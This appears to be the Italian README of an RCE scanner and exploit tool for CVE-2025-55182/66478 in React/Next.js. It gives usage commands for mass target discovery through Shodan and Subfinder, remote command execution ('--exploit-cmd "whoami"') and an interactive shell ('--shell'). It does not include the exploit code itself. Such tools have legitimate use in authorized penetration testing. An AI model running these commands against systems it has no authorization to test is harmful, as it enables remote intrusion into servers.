Torito React2Shell Scanner & Exploit Tool (CVE-2025-55182 / 66478)

Requisiti

• Python 3.9+
• pip install -r requirements.txt
• Binario di Subfinder in PATH per --subfinder (installazione tramite Homebrew brew install subfinder o Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest; progetto: https://github.com/projectdiscovery/subfinder)
• L'uso di Shodan richiede pip install shodan (già nei requisiti) e una chiave: export SHODAN_API_KEY=... con crediti di query disponibili

Utilizzo

python3 torito_r2s.py --help

Opzioni

Esempi

Sonda sicura (singolo target)

python3 torito_r2s.py -u https://target.com

Conferma PoC (redirect su canale laterale)

python3 torito_r2s.py -u https://target.com --confirm

Exploit con comando personalizzato

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

Shell interattiva al primo successo

python3 torito_r2s.py -u https://target.com --shell

Scansione da lista con esportazioni

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

Solo Shodan (richiede chiave e crediti)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

Solo Subfinder

python3 torito_r2s.py --subfinder target.com --confirm

Proxy (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

Pipeline tramite stdin

cat urls.txt | python3 torito_r2s.py --confirm

Note sull'output

• La tabella mostra fingerprint (NX/AR), sonda, conferma, exploit.
• I digest degli exploit vengono decodificati in base64 quando possibile; la modalità verbose mostra le anteprime.
• JSON/CSV includono il digest grezzo e l'output decodificato (se presente).

Sicurezza

• Solo per test autorizzati.
• L'esecuzione predefinita è una sonda non distruttiva; l'exploit viene eseguito solo con --exploit-cmd o --shell.